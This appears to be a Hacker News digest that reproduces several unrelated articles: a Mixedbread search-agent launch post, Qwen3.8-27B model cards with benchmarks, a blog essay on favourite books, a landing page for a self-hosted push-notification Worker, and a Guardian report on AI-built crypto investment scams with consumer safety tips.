It remains lightweight in doing so. A standard Toast 1 run costs approximately 0.016 0.016 - 0.023 per query and has an eight-second median latency. Our highest-quality fusion configuration costs approximately 0.05 0.05 - 0.07 per query and has an eleven-second median latency. In practice, among the systems in our evaluation that reached similar performance, Toast 1 was 7–11× cheaper and considerably faster: Frontier-model retrieval agents took between 20 seconds and four minutes on the same evaluation.

Toast 1 is available immediately through the Mixedbread API at the discounted launch pricing :

  • $0.30 per million input tokens
  • $0.036 per million cached input tokens (cache writes are free)
  • $0.72 per million output tokens

Mixedbread search invoked by Toast 1 is priced at a special rate .

With Your Existing Retrieval Stack Link to section

Toast 1 was co-designed with Mixedbread Search's primitives and will be at its strongest performance with it. But we put special care in ensuring that it remains backend agnostic: it can run over your existing retrieval indexes, and does not require migrating your existing backend. We conducted thorough testing to ensure that Toast 1 remains competitive with the performance of frontier models in similar conditions at a fraction of the cost and latency, no matter the provided index.

You can use Toast 1 with our Chat Completions API and add it as a retrieval tool to your existing agentic workflows in just a few minutes. Here is a golden harness you can use directly .

With Coding Agents Link to section

Let your coding agents handle the integration with npx skills add mixedbread-ai/skills . Or use Toast 1 directly as a subagent with our OpenCode integration .

With Your Mixedbread Stores Link to section

from mixedbread import Mixedbread

client = Mixedbread()

results = client.stores.search(
    store_identifiers=["legal-documents"],
    query="does the MSA allow assignment on a change of control?",
    search_options={
        "agentic": True,  # enable Toast 1
    },
)

Get an API key with $5 in included credits to try it out.

  1. We evaluated a randomly selected subset of 33 tasks to make repeated comparative runs tractable. Every configuration used the same tasks and evaluation setup; only the retrieval stack changed.

  2. Toast 1 is part of a growing body of work on specialised search agents, alongside SID-1 and Chroma's Context-1 . While each takes a different approach, they share the goal of bringing frontier-level retrieval to production at lower cost and latency.

Unsloth Qwen3.8-27B GGUF files

Hacker News
huggingface.co
2026-08-14 11:04:17
Comments...
Original Article

Read our How to Run Qwen3.8-27B Guide!

This GGUF uses Unsloth Dynamic V3.0 (preview) for SOTA quantization performance.

  • Developer Role Support so Qwen3.8 can work in agentic tools like Codex and more!
  • MTP for fast inference is available.
  • Qwen3.8 can now be run and fine-tuned in Unsloth Desktop . Read our guide .
  • Tool calling improvements: Makes parsing nested objects to make tool calling succeed more.
  • See below for 1-bit Qwen3.8 run inside of Unsloth:

qwen3.8 unsloth desktop


Following the widespread community adoption of the Qwen3.5 and Qwen3.6 series, we are pleased to introduce Qwen3.8, the most capable generation in the Qwen open-model family to date.

Built on the architectural foundation of Qwen3.5, Qwen3.8 delivers substantial gains across coding, professional work, research, and long-horizon agentic tasks. Qwen3.8-27B brings these advances to a compact, deployment-friendly dense model: a native vision-language model that understands images and videos, with flexible thinking control, designed to carry complex, multi-step tasks through to completion with greater reliability.

Qwen3.8 Highlights

Qwen3.8-27B features the following enhancements:

  • Core Capabilities : Comprehensive improvements across coding, professional work, research, and long-horizon agentic tasks.
  • Agent Execution : Stronger autonomous planning and better handling of environment feedback, leading to more reliable end-to-end task completion.
  • Downstream Compatibility : Broader support for popular harnesses and development tools, making it easier to integrate into your existing stack.
  • Flexible Thinking Control : Thinking mode is on by default and can be disabled per request; reasoning depth can be tuned with reasoning_effort , and reasoning context from historical messages is retained via preserve_thinking .
  • Vision-Language Understanding : Native support for image and video understanding, from STEM diagrams and documents to hour-scale videos.

Model Overview

  • Type: Causal Language Model with Vision Encoder
  • Training Stage: Pre-training & Post-training
  • Language Model
    • Number of Parameters: 27B
    • Hidden Dimension: 5120
    • Token Embedding: 248,320 (Padded)
    • Number of Layers: 64
    • Hidden Layout: 16 × (3 × (Gated DeltaNet → FFN) → 1 × (Gated Attention → FFN))
    • Gated DeltaNet:
      • Number of Linear Attention Heads: 48 for V and 16 for QK
      • Head Dimension: 128
    • Gated Attention:
      • Number of Attention Heads: 24 for Q and 4 for KV
      • Head Dimension: 256
      • Rotary Position Embedding Dimension: 64
    • Feed Forward Network:
      • Intermediate Dimension: 17,408
    • LM Output: 248,320 (Padded)
    • MTP (Multi-Token Prediction): trained with multiple steps
  • Context Length: 262,144 natively and extensible up to 1,000,000 tokens.

Best Practices

To achieve optimal performance, we recommend the following settings:

  1. Sampling Parameters : We suggest using the following sets of sampling parameters:

    • Thinking Mode: temperature=1.0 , top_p=0.95 , top_k=20 , min_p=0.0 , presence_penalty=0.0 , repetition_penalty=1.0
    • Instruct (or non-thinking) mode: temperature=0.7 , top_p=0.80 , top_k=20 , min_p=0.0 , presence_penalty=1.5 , repetition_penalty=1.0

    For supported frameworks, you can adjust the presence_penalty parameter between 0 and 2 to reduce endless repetition. However, using a higher value may occasionally result in language mixing and a slight decrease in model performance.

  2. Adequate Output Length : To optimize performance on agentic tasks, we recommend allocating sufficient output length to allow the model to generate detailed and comprehensive responses. For frameworks that support separate token limits for internal reasoning and final outputs, we suggest the following configuration within the 1M context length:

    • Reasoning Content: Set the maximum output length to 262,144 tokens.
    • Final Response: Set the maximum output length to 131,072 tokens.

    These settings provide the necessary capacity for complex reasoning while ensuring ample space for high-quality final deliverables.

  3. Processing Ultra-Long Texts : Qwen3.8-27B natively supports context lengths of up to 262,144 tokens. For long-horizon tasks where the total length (including both input and output) exceeds this limit, we recommend using RoPE scaling techniques to handle long texts effectively, e.g., YaRN.

  4. Long Video Understanding : To optimize inference efficiency for plain text and images, the size parameter in the released video_preprocessor_config.json is conservatively configured. It is recommended to set the longest_edge parameter in the video_preprocessor_config file to 469,762,048 (corresponding to 224k video tokens) to enable higher frame-rate sampling for hour-scale videos and thereby achieve superior performance. For example,

    {"longest_edge": 469762048, "shortest_edge": 4096}
    

Citation

If you find our work helpful, feel free to give us a cite.

@misc{qwen38,
    title = {{Qwen3.8-Max}: A New Bar for Coding and Cowork},
    url = {https://qwen.ai/blog?id=qwen3.8},
    author = {{Qwen Team}},
    month = {August},
    year = {2026}
}

Qwen3.8-27B

Hacker News
twitter.com
2026-08-14 11:03:54
Comments...
Original Article

We promised open weights for Qwen3.8. Now, time to meet them! 🎉 ⚡ Qwen3.8-27B: - A native multimodal dense model. With just 27B parameters, it outperforms Qwen3.7-Plus overall and shines in real-world coding & office workflows. - 262K native context, easily extendable to 1M tokens via YaRN. - Built for builders. Highly efficient, high-quality, and licensed under Apache 2.0. 🚀 The open weights for Qwen3.8-2.4T-A95B (Max-level) have also been released recently. Whether you're shipping lightweight applications with Qwen3.8-27B locally or building agents with Qwen3.8-2.4T-A95B, they're yours now! Download, deploy, and build something we haven't imagined yet. 👀👇 - Hugging Face: huggingface.co/collections/Qw… - ModelScope: modelscope.cn/collections/Qw…

Seven books I keep close because I love them

Hacker News
blog.plover.com
2026-08-14 11:03:26
Comments...
Original Article

Sun, 02 Aug 2026

Seven books I keep close because I love them

The bookshelf by my elbow, the one that I can reach without getting up, has seven books on it, not necessarily the ones I look in the most, but the ones whose emanations I most hope will infuse me as I write.

Roget's Thesaurus (4th edition)

The one I actually refer to most often is the Harper and Row Roget's Thesaurus . I thought I had acquired this in my teens, but the note on the flyleaf says 1989.

This is the fourth edition. I was very excited to get the eighth edition, which I thought I might like better, and for some time I kept them next to each other so that I could look up the same things in both, and compare. my conclusion was that while the eighth edition had more stuff in it, it wasn't stuff I needed. And it is really fat. So I have retired it to a farther shelf and will eventually get rid of it.

The thesaurus is a book that is widely misunderstood. It is not, as many people mockingly imagine, just a compendium of synonyms, and its correct and intended use is not to replace common words with more impressive-sounding ones. just as the correct use of a screwdriver is not to scrape the veneer off of an expensive cabinet.

“Thesaurus” means “storehouse" or “treasure room”. Roget's idea, similar to that of John Wilkins before him, was to classify everything in the world into a hierarchy, in this case a hierarchy with a thousand divisions. At the top level the divisions are grouped into "Abstract concepts", "Space”, “Physics”, “Matter”, “Sensation” and so on. Then under “abstract concepts” there are subclasses, of which subclass VI is “Time”, subdivided into five smaller sections:

A. Absolute time
B. Relative time
C. Time with reference to age
D. Time with reference to season
E. Recurrent time

At the next level down, section (1)(VI)(B) is divided into:

§116. Priority
§117. Posteriority
§118. Simultaneity
§119. The Past
§120. The Present
§121. The Future

Roget's idea is that if you are thinking or writing about time, and specifically about how it goes by, you will leaf through those sections for inspiration, not to find a more pompous way of expressing something you have already written, but to refine your own idea of what it is you wanted to express.

Perhaps you are trying to say that one event followed immediately after another. You might look at “§117 posteriority (later time)” which mentions “ensue”, “consequence”, “aftermath”, and “subsequent” — not synonyms, but related aspects of similar concepts, worth more or less consideration depending on what you are trying to emphasize. §117 will also suggest common phrases like “step into the shoes of” — not a synonym by any means, but a related idea. This is probably not what you wanted in this case, but it in another it might be just the thing, and in any case it might give you a bright idea.

If nothing in section 117 seems suitable, it is right next to “§116 priority”, and you might discover that instead of saying that the second event followed immediately after the first, you would rather say that the first immediately preceded the second. Or perhaps you realize, looking at “§118 Simultaneity”, that what you really want to say is that the two event were not quite simultaneous . Or perhaps, finding your way to “§131 Earliness” and “§132 Lateness” you realize that your meaning would be more clearly expressed if you said that the second event was a little tardy, or that the first event was premature.

Looking through the index for “immediately” you will see that the index distinguishes several senses of “immediate”: are you trying to suggest instantaneity, or continuity, or haste, or promptness, or punctuality? And in this way the book helps you refine your understanding of what you were trying to say.

One can use the thesaurus for more concrete tasks. Perhaps I am trying to remember a word, but I can't quite put my finger on it. I know it it is not “coexisting”, but is something like it. I can look up “coexisting” in the index, and it will take me to “§118 Simultaneity” where I find “contemporaneous”… aha, that's what I was looking for! The really important thing about the thesaurus is this large-scale organizing principle, which puts related ideas near one another.

Note that none of this works for someone who doesn't know what the words actually mean. All that person can do with the thesaurus is to replace one wrong word with another one, more or less at random. Effective tool use requires skill and training, and careful thought.

An online version would be more convenient, but again, it wouldn't have the same stuff and I am very attached to the one I have.

My banishment of the 8th edition left a lot of space on the shelf, some of which I have filled with an anthology of the prose of Sir Thomas Browne. I think this will be healthful and inspiring for me, especially if I remember to take it up and thumb through it from time to time.

The Prose of Sir Thomas Browne

One recurring theme on this blog since the very earliest days has been the writers of the English Baroque period. In 2008 I wrote:

[Browne] is witty, and learned, and wise, and humane, and to read his books is to feel that you are in the company of this witty, learned, wise, humane man, one of the best men that the English Renaissance has to offer, and that you are profiting thereby.

His work was also a favorite of Jorge Luis Borges', in case you consider that a recommendation.

Browne has shown up here a number of times, although not so much as he should have, because I started the blog the year after I was on my big Thomas Browne kick. One reason I have put this book next to my elbow is that I hope it will spark a new Browne kick. (I wrote in 2006 “I'm sure I will return someday”, and it is long past time for that return.)

My favorite book by Browne is his Pseudodoxia Epidemica , which is a compilation of stuff that people in 1646 believed that Browne thought was probably wrong. I wrote about that in some detail in 2008 although I didn't get around to publishing it until 2020. And somehow the other three articles I was writing about this have never seen the light of day. One is about his discussion of whether John the Baptist actually ate locusts or whether they were locust beans or something else. Browne is firmly on the side of it being actual locusts, as am I. My unpublished article says:

Chester Brown's version of the gospels makes it clear that John was a crazy old bug-gobbler.

Panels from Yummy Fur #17, page 15, by Chester Brown .

Also Sir Thomas comes up in connection with whether snails have eyes in their horns — a rare example where he was wrong, and for a dumb reason:

If we concede they have two eyes, we must alse grant, they have no lesse than four… And therefore if they have two eyes, they have also four, which will be monstrous, and beyond the affirmation of any.

Browne seems to be noping out of the very idea of four-eyed snails, and therefore that they must have none at all. In a later edition of the book, he changed his mind, which is to his credit.

He had a thoughtful and well-informed opinion about whether Pythagoras forbade his followers from eating beans, supposedly because he thought they contained the souls of the dead. (Browne says the former is true, but not the latter.)

I have trouble connecting with the thinkers of the Middle Ages. Their thinking seems to me to be frightened, so overcautious, so cramped and circumscribed, I can't read it without sadness for the way that medieval Christianity strangled the human spirit for so long. But in the early Renaissance there is a flowering of a joyfully brave willingness to try to understand the world, and to follow any inquiry, no matter how extravagant or ridiculous. The whole idea of God has transformed, changed from something constricting to something empowering. The world before belonged to God, and humans were in it only grudgingly and on promise of good behavior. But when the Renaissance started, the world became a beautiful gift, in which humans had been placed to honor God by admiring and marveling at his creation.

This admiration and marvel, the willingness to follow any path to understanding, is how I want to be about knowledge and how I hope I am. Reading Browne, I always feel like he and I would have gotten along well, and that that is one of the best parts of myself.

Boccaccio's Decameron

The story of the Decameron is this: It is 1348, and Florence is devastated by Black Plague. Nothing can be done, despair is everywhere, and there are not enough left living to bury the dead. So ten young people, still healthy, decide to turn their backs on suffering and quit town. They take provisions and servants, retire to the country, and try to forget the horrors they have seen. There they spend the time feasting, walking in the gardens, playing chess, and, once a day, for ten days, they meet, choose a theme, and then each of them tells a story on the theme.

I explained this once to a friend who said “That sounds cool, when was it written?” I said “In 1348!” It is one of the two great works of classical Italian literature, the other of course being Dante. Dante is solidly medieval, hierarchical, doctrinaire, and obsessed with a God who is supposedly loving but doesn't seem to know how to show it. That was in 1308 or so, and then, only a few decades later, we have the Decameron which could not be more different. It is about people, doing people things in the real world, eating, drinking, singing, arguing, and making love. God is present, but not oppressive. He has sent a terrible plague for who knows what reason, but rather than submit to it the characters of the Decameron try to take practical steps to make the best of it.

There is a story in the Decameron for every mood, usually more than one. Some are sad, some romantic, some funny and salacious. Dioneo is exempt from following the daily theme and usually has a story that is more or less dirty.

My favorite story is probably the one about the cross-dressing English princess, or perhaps the one about how young Caterina wanted to sleep on the balcony so that she could hear the nightingale, which I find very sweet. But the funniest one is about the abbess who is called out of her cell one night to berate a nun for having her lover stay over, and who doesn't realize that in her hurry she has put her own lover's trousers on her head instead of her wimple.

I have several different Decamerons , but this copy is the Cormac Ó Cuilleanáin translation, which has made several previous appearances here:

There's also an unpublished blog article inviting me to look into this passage:

Messer Lotto Gualandi gave him a daughter of his, Bartolomea by name, one of the fairest and handsomest young ladies of Pisa — although most of the females from that benighted town look like tarantulas.

The J.M. Rigg translation says “spotted lizards”. This is closer to the original Italian, which is lucertole verminare , literally small wormy lizards.

I have my doubts about the desirability of living to be a thousand years old, but if I do decide to do it, one reason will certainly be that I will need the time to learn Medieval Italian and translate the Decameron .

From Frege to Gödel , edited by van Heijenoort

This is a collection of the most important papers in mathematical logic from the time of Frege (who, I have written before, was responsible for kicking the field of logic out of its medieval period into the modern world) to Gödel (who spoiled everything).

In between these van Heijenoort hits all the most important ideas, starting with Frege's explanation of Begriffsschrift , which is wacky and weird and which didn't catch on except it kind of did and it still underlies half of mathematical logic and which is the prototype for many of the symbols we still use . After this there is Russell's tragic correspondence with Frege in which he pointed out, too late, that Frege's foundational theory didn't work.

The book reprints Peano's original description of the Peano numbers , perhaps the most successful single mathematical theory of all time.

The book includes Zermelo's proof of Zermelo's theorem that every set can be well-ordered, and Ackermann's discovery of Ackermann's function , which demonstrated the not every computable function is primitive recursive.

The book has Russell on type theory and early work by Kolmogorov and Brouwer on the origin of intuitionism. (Heyting is missing.)

Van Heijenoort has come up here when I wanted to quote from Schönfinkel's paper about the SKI-calculus , Wiener's paper inventing the ordered pair , and implicitly in probably a dozen other math and logic articles here over the years.

The book is on my shelf because I refer to it pretty often, but also because I can usually find something interesting just by thumbing through it. For example, these remarks by Thoralf Skolem about the futility of deriving induction from set-theoretic foundations .

Bonus trivia: Van Heijenoort was the personal secretary of Leon Trotsky, and while he was accompanying Trotsky during the latter's exile in Mexico, he was one of Frida Kahlo's lovers.

Orbis Sensualium Pictis (English edition), Johannes Comenius

I adore this book. My heart swells with love when I think of it.

I don't have a blog article about it and there is a story behind that. In 2018 I went to a conference in Cleveland and my hotel was in a building that had formerly been the Cleveland Department of Education. It contains two big murals, one depicting “The Progress of Education”:

I planned to write a blog article about these people. It's clear who some of them are. For example, Moses is easy to recognize at lower right, because of the glowing horns, and Confucius is next to him. Some people I was familiar with once they were identified for me: the red-haired guy second from right in the back row is Friedrich Fröbel , who I knew; his “gifts” are a forerunner of the Montessori materials.

But in doing the research I got to the bearded hat-wearing dude topmost on the right side and completely fell off the bus, because that is Johann Comenius who is famous because he wrote one of the most marvelous and enchanting books I've ever read, the Orbis Pictus .

I have to resist the temptation to say too much, because Orbis Pictus derailed the article about “The Progress of Education”, it then derailed its own article which has been in progress for eight years, and if I let it it will derail this article too, because every time I pick up Orbis Pictus I forget whatever I was doing and I am lost in the pages with a happy and innocent smile on my face.

I'm going to precommit to writing only one paragraph about this incredible book. It was the first illustrated children's book published in Europe, in 1658, and it was an immediate hit, being translated from German into English the following year, then into French, Italian, and many other languages. It swept the continent because everyone loved it.

Most of the book follows this pattern: there will be an engraved illustration, depicting some aspect of ordinary human activity, such as (I open it up to a random page) “Tame Foul” (that is, “fowl”):

Items of interest in the engraving are annotated with numbers, and the facing page explains the illustration, one item at a time:

The Cock 1 (which croweth in a morning), hath a comb, 2.

In a second column to the right of this is the same text, but in Latin, so that while the reader is learning about tame fowl, they are also learning Latin:

Gallus 1. (qui manè cantat) habet Cristam , 2.

The prose is limpid, gentle, pithy, and direct. It hits the important points of interest, invites questions, and ends before anyone can get bored. There are pages on anatomy, butchery, feasting, winemaking, various principal virtues, family trees, cities, burials, ships, wells, horology, amphibians.

Now I will reluctantly put it down, rather than leaving this article unfinished as I have so many before.

The Bible (New International Version, large print)

This of course is the cornerstone of Western culture and no well-educated person can be without a knowledge of what is in it. It is full of great wisdom and great stories, and also cruelty, evil lies, and reminders that the world now is in many ways better than it was because people are better.

I would like to understand the world I live in, and there is no way to understand 21st-century America without understanding the Bible.

The NIV is not the most poetical translation, but it is clear, modern, and accurate. (I got it on the recommendation of Sterling Hanenkampf. Thanks, Sterling!) In former times I had a collection of Bibles but this is the only one that remains. I even got rid of the old King James that belonged to my mother, since office space is precious and I have had a digital copy on my computer since the early 1990s.

I find that most of my articles mentioning the Bible are unpublished for some reason. It comes up a bit in connection with Ploni Almoni , and in passing in many other places.

One of the unfinished articles is a series of notes on the theme of Jesus's admonition “Do not put the Lord your God to the test” ( Matthew 4:7 ) and its relationship to a lot of other things like lightning rods, Christian Science (not Christian science), how Larry Wall became a computer programmer, Pikuach nefesh , and the story of the old lady who refused to evacuate from her house during a flood. It'll be epic if I ever finish it, but I probably won't.

Another incomplete one is about the incredible story of Samson and Delilah:

She asks him flat out:

[Judges 16:6] Tell me the secret of your great strength, and how you can be tied up and subdued.

Instead of just telling her to fuck off, Samson lies:

[16:7] If anyone ties me with seven fresh bowstrings that have not been dried, I'll become as weak as any other man.

The Philistines bring her bowstrings and she tries it that night, but Samson snaps the bowstrings as easily as a piece of string snaps when it comes close to a flame. …

Then it goes as before! He tells her a different lie, knowing full well that she will betray him, and she does betray him, and he makes a fool of her again! (16:11–12)

Okay, that was fun. Let's do it again! (16:13–14)

After several repetitions of this, Samson decides that being shaved, blinded and crushed will be less exasperating than listening to any more of Delilah's nagging.

I read once that the whole point of the book of Judges is that the people in it are all terrible, they are all far from the path of righteousness, and so you definitely shouldn't act like them. I don't know if that interpretation is correct, but it is certainly true that the people in it are all terrible.

The Belles Heures of Duc de Berry

This book turned up in one of my very first blog articles, on abbreviations in medieval manuscripts , although I didn't know it at the time. In my teens, on a visit to the Metropolitan Museum of Art, I picked up a print of this:

Then I carried it with me for the next forty years, eventually framing it and hanging it up, and it is hanging in my house now.

Many years after, when I was still on Twitter and Twitter was still fun, I subscribed to a daily feed from the Met, and one day they tweeted this page, or perhaps another page from the same book, stylistically similar enough that I recognized it immediately. They said where it was from: it's the Belles Heures , a “book of hours”, which tells the reader when to pray and how, and which days are sacred to which saints. Very wealthy people had super-fancy ones made from the very best materials, with illustrations by the very best craftsmen.

The Duc de Berry was so wealthy that he had more than one, as I found out when I accidentally ordered and received the Tres Riches Heures . But I got the one I wanted eventually.

The Duc de Berry book is by Millard Meiss and Elizabeth H. Beatson, and alternates beween the magnificent color plates and prose discussing each one. From the inscription on the page above I had been able to figure out that this was John the Baptist ( see previous article ), and the authors aren't sure who the other two people are, but they did at least tell me that John was the Duc de Berry's name-saint. (Funny how John keeps popping up, isn't it?)

More recently I had another very similar Internet revelation. I've had this framed postcard hanging up for many years:

and thanks to a recent Mastodon toot by Cam Larios, I found out that it is from the “Black Hours” of the Morgan Library .

#8?

The banishment of the very large Roget 8th edition has left enough space on the shelf for an eighth book. I took a quick look around my office to see if there was anything else that wanted to fill that space, but nothing volunteered.

(Actually I think Tristan Needham's Visual Complex Analysis might be waving to me from across the room.)

Other stuff

There are other things in the photo that should not be on this shelf and I don't know why they are:

  • A packet of googly eye stickers
  • Glass and ceramic coasters that I don't use because my coffee cup is always on my electric mug warmer
  • A small audio speaker that might or might not work
  • A boxful of 8mm-helical scan backup tape from the 1990s
  • A pair of old laptop 2.5-inch hard disks that I hope to someday get the data out of
  • A set of Korean playing cards

The shelf is like my brain, I guess, full of stuff, and and what's in it doesn't always make sense or go together with the other stuff.

This article was prepared by GNU Emacs, Rael Dornfest's “Blosxom” software, GNU grep, and the Kubuntu desktop environment, with minor assistance from me. Spelling correction was provided by ispell . The four em-dashes were organically cultivated and sustainably harvested.

[ Other articles in category /book ] permanent link


Self-hosted web push Cloudflare Worker, works on iOS

Hacker News
kukuroo.cc
2026-08-14 11:03:12
Comments...
Original Article

A push endpoint you own, in one Cloudflare Worker.

  • Notifications you have to act on should not be buried in a Telegram channel, a Discord server, or email.
  • The other way onto a lock screen is shipping a native app whose only job is that one line.

No server to keep alive.

A Worker and a KV namespace. Nothing to host, renew, or restart at 3am.

No company in the middle.

Your keys stay in your Worker, and the payload is encrypted to the device. Nobody's dashboard sees your alerts.

No app to build.

iOS has rendered these natively since 18.4. No App Store, no $99 a year for four words on a lock screen.

Send a push notification in seconds

From the agent you left running, the moment it finishes or stops to ask. From cron, CI, a Raspberry Pi, your backend, a shell alias. Anything that can make an HTTP call can ring your phone.

bash

$ curl -X POST https://push.example.com/push/send \
  -H "authorization: Bearer $KUKUROO_SEND_TOKEN" \
  -d '{"notification":{"title":"Task W13 finished",
       "body":"W14 is unblocked and ready to start",
       "navigate":"https://push.example.com/"}}'
{"delivered":1,"removed":0,"failures":[]}

One-Click Integration

Setup takes less than a minute. One command writes the Worker, generates every key, installs them, provisions storage, and deploys.

bash

$ npx kukuroo init my-push

That's it. You now have a push server of your own. Open the printed URL in Safari on your iPhone, Add to Home Screen, and open it from the icon. Apple's rule, once per device.

Already have a Worker running as your website?

Then Kukuroo mounts into the router you already have, rather than asking for a Worker of its own. Devices enroll on your hostname, which is where a notification tap should land.

The mounted setup, step by step →

Prerequisites

Kukuroo supports a short list, on purpose:

  • Cloudflare Workers. The only place it runs. No Docker image, no binary, no other host.
  • Safari. Declarative Web Push has shipped nowhere else yet. Other browsers are turned away at the enrollment page rather than left half working.
  • iOS 18.4 or later , with the page on your Home Screen and opened from the icon. A Safari tab will not do, and that is Apple's rule rather than ours. macOS Safari 18.5 receives too, if you can think of a reason to want it.
  • A Cloudflare account. Push and Workers suit each other unusually well, and the free plan carries a personal setup without noticing: 50 devices per send, 100,000 requests a day. If it ever grows past you, $5 a month takes that to 10,000 devices per send and 10 million requests.

A Queensland man enjoyed soaring profits from a crypto trading app. Then his money started disappearing

Guardian
www.theguardian.com
2026-08-14 11:00:31
The administrative work required to run an effective investment scam has been drastically cut by using merging technologyGet our breaking news email, free app or daily news podcastWithin days of clicking on an online ad for a cryptocurrency trading app, a 29-year-old Queensland man watched his dashb...
Original Article

Within days of clicking on an online ad for a cryptocurrency trading app, a 29-year-old Queensland man watched his dashboard soar with profits.

Making investment gains was as simple as downloading the slick-looking app and browser extension linked to his crypto wallet. So he invested more.

Then the losses began. Unauthorised transfers started flowing from his crypto wallet and soon he had lost more than $166,000.

Frantic, he attempted to contact customer support, only to find the platform’s customer service team was a basic chatbot.

It was only then he realised he had fallen victim to an investment scam constructed by artificial intelligence .

‘Scam ecosystems’

Data from Scamwatch shows Australians have lost more than $45m to fraudulent investment schemes in 2026 so far, after over $160m in reported losses in 2025.

Experts say AI is significantly cutting the administrative work required to run an effective investment scam, replacing cold calls and isolated phishing emails with entire “ scam ecosystems ”.

Dr Marco Navone, an associate professor of finance at the University of Technology Sydney says traditional red flags no longer apply, meaning consumer can’t always recognise the “industrial-grade” deception.

Sign up for the Breaking News Australia email

“Criminal networks can now deploy hyper-realistic, localised media, fake news articles, synthetic reviews … at scale,” Navone says. “[Historically], your first suspicion came from a cheap webpage, or a company phone number that was a mobile number instead of a 1300.

“All these small inconsistencies are now gone … this is especially the case when scammers target vulnerable parts of the population.”

The Australian Federal Police say scammers can clone voices from a few seconds of audio, generate convincing deepfakes and send thousands of personalised messages based on a victim’s location and online history. AI-generated investment scams often offer access to a “financial adviser” with an Australian or English accent.

Regulators can’t keep up

While the Australian Securities and Investments Commission deactivated nearly 12,000 scam websites in 2025, scammers frequently bypass removal using “cloaking” technology to serve scams to targeted users while showing harmless content to moderators.

Cybercrime groups now integrate AI into almost every operational phase, says Dr Andrew Childs, a criminology lecturer at Griffith University.

“Offenders can construct an entire environment where each element verifies another,” he says.

Digital platforms share responsibility, he says: “In these situations platforms aren’t being passive hosts.

“They are actively recommending and distributing advertisements to audiences identified as likely to engage with them.”

skip past newsletter promotion

Navone says digital platforms should be held legally responsible and be mandated to verify Australian Financial Services (AFS) licensing before publishing investment ads.

A 2026 report by the Australian Institute of criminology found that more than 49% of Australians worry about becoming victims of AI-related crime, with 43% identifying AI impersonation as a direct threat.

Shifting defence to the financial system

An AFP spokesperson acknowledged that fund recovery rates remain “incredibly low”, referring to a national scams prevention framework being developed. It will require banks, telecommunications providers and digital platforms to bolster AI scam detection.

Experts are calling for more money monitoring, including mandatory confirmation-of-payee systems, forced settlement delays on high-risk transfers and stricter oversight of physical cryptocurrency ATMs.

Navone says AI itself becomes a target for social engineering.

“Over the coming years, we expect consumers and institutions to increasingly delegate financial decisions, portfolio management and trade execution to autonomous AI agents,” he says. “This introduces a dangerous new frontier: AI tools themselves becoming the targets of social engineering and financial scams.”

How to spot an AI-generated investment scam

Always check that an investment provider holds an active AFS licence on the Asic register .

If contacted about transferring funds, even by someone you know, call them back directly on the phone number you have for them.

Navigate to investment platforms using an independent web search rather than clicking links in ads or messages. You should also check if there are any scam warnings in the search results.

If compromised, freeze your bank accounts immediately, change all your passwords, and report it to Scamwatch and police . Victims can contact IDCARE for free national identity and cybercrime support.

Qwen 3.8 27B is out: open weights, best local dense model yet

Hacker News
huggingface.co
2026-08-14 11:00:00
Comments...
Original Article

This repository contains FP8-quantized model weights and configuration files for the post-trained model in the Hugging Face Transformers format.

These artifacts are compatible with Hugging Face Transformers, vLLM, SGLang, TokenSpeed, etc.

The quantization method is fine-grained fp8 quantization with block size of 128, and its performance metrics are nearly identical to those of the original model.

For users seeking managed, scalable inference without infrastructure maintenance, the official Qwen API service is provided by Qwen Cloud .

In particular, Qwen3.8-27B will be available as a hosted version with more production features, e.g., 1M context length by default, official built-in tools. For more information, please refer to the Qwen3.8-27B Overview . The service is coming soon. Stay tuned for updates.

Following the widespread community adoption of the Qwen3.5 and Qwen3.6 series, we are pleased to introduce Qwen3.8, the most capable generation in the Qwen open-model family to date.

Built on the architectural foundation of Qwen3.5, Qwen3.8 delivers substantial gains across coding, professional work, research, and long-horizon agentic tasks. Qwen3.8-27B brings these advances to a compact, deployment-friendly dense model: a native vision-language model that understands images and videos, with flexible thinking control, designed to carry complex, multi-step tasks through to completion with greater reliability.

Qwen3.8 Highlights

Qwen3.8-27B features the following enhancements:

  • Core Capabilities : Comprehensive improvements across coding, professional work, research, and long-horizon agentic tasks.
  • Agent Execution : Stronger autonomous planning and better handling of environment feedback, leading to more reliable end-to-end task completion.
  • Downstream Compatibility : Broader support for popular harnesses and development tools, making it easier to integrate into your existing stack.
  • Flexible Thinking Control : Thinking mode is on by default and can be disabled per request; reasoning depth can be tuned with reasoning_effort , and reasoning context from historical messages is retained via preserve_thinking .
  • Vision-Language Understanding : Native support for image and video understanding, from STEM diagrams and documents to hour-scale videos.

Model Overview

  • Type: Causal Language Model with Vision Encoder
  • Training Stage: Pre-training & Post-training
  • Language Model
    • Number of Parameters: 27B
    • Hidden Dimension: 5120
    • Token Embedding: 248,320 (Padded)
    • Number of Layers: 64
    • Hidden Layout: 16 × (3 × (Gated DeltaNet → FFN) → 1 × (Gated Attention → FFN))
    • Gated DeltaNet:
      • Number of Linear Attention Heads: 48 for V and 16 for QK
      • Head Dimension: 128
    • Gated Attention:
      • Number of Attention Heads: 24 for Q and 4 for KV
      • Head Dimension: 256
      • Rotary Position Embedding Dimension: 64
    • Feed Forward Network:
      • Intermediate Dimension: 17,408
    • LM Output: 248,320 (Padded)
    • MTP (Multi-Token Prediction): trained with multiple steps
  • Context Length: 262,144 natively and extensible up to 1,000,000 tokens.

Benchmark Results

Text Performance

Qwen3.8-27B Qwen3.6-27B Qwen3.7-Plus Muse Glimmer-30B Opus4.6 Max
Coding

Agentic terminal coding

Terminal Bench 2.1 (Terminus)

73.0 63.4 64.0 51.7 78.2

Agentic coding

SWE-bench Pro

61.7 53.5 57.6 51.2 53.4

Repo-level code generation

NL2Repo-Bench

42.3 36.2 41.1 -- 47.6

Agentic coding

DeepSWE 1.1

42.2 13.3 14.2 -- --

Software engineering

QwenSWEBench

79.0 49.3 59.2 -- 63.8
Agent

Long-horizon office work

CoWorkBench

70.7 61.0 65.1 -- 68.2

Professional job tasks

JobBench

33.4 21.8 27.6 -- --

Frontier agentic tasks

Agents' Last Exam

Pass@1

20.4

Score

42.9

Pass@1

10.6

Score

27.3

Pass@1

13.2

Score

33.6

-- --
General

Instruction following

IFBench

79.5 69.1 79.1 77.0 62.5

Scientific reasoning

GPQA Diamond

89.2 87.8 90.3 83.5 91.3

Multidisciplinary reasoning

HLE

30.8 24.0 34.7 22.0 40.0

Competitive coding

LiveCodeBench v6

90.3 83.9 89.6 -- 88.8
  1. SWE-bench Pro: Except for Opus4.6 Max, which uses the officially reported score, all models are evaluated with the Claude Code harness at temp=1.0, top_p=0.95, and a 256K context window. Problematic tasks were corrected, and all baseline models were re-evaluated on the refined benchmark.
